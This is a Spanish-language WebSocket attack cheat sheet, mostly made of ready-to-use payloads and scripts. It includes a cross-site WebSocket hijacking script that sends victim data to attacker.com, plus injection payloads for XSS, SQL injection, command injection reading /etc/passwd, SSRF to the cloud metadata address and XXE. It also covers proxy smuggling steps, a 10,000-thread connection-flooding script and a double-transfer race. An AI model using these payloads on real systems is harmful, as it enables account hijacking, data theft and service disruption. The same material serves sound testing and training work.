Cheatsheet WebSockets

1. Capturar WebSocket handshake en Burp
2. Cambiar header Origin a https://evil.com
3. Si el servidor acepta la conexion = vulnerable

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send(JSON.stringify({"action": "getProfile"}));
};
ws.onmessage = function(event) {
    fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
</script>

Origin: http://127.0.0.1

Origin: null

{"message": "<img src=x onerror=alert(1)>"}

{"query": "' OR 1=1--"}

{"cmd": "; cat /etc/passwd"}

{"url": "http://169.254.169.254/latest/meta-data/"}

{"action": "getProfile", "userId": "victim-id-123"}

{"data": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}

1. Enviar peticion de upgrade a WebSocket
2. El proxy cree que es WebSocket, backend rechaza upgrade
3. El proxy deja de inspeccionar trafico
4. Enviar HTTP arbitrario al backend sin inspeccion del proxy

GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

import websocket, threading
def connect():
    ws = websocket.WebSocket()
    ws.connect("wss://target.com/ws")
    while True: pass
for i in range(10000):
    threading.Thread(target=connect).start()

Enviar datos altamente comprimibles cuando permessage-deflate esta activo

Enviar dos mensajes de transferencia simultaneos:
ws.send('{"action":"transfer","amount":100}')
ws.send('{"action":"transfer","amount":100}')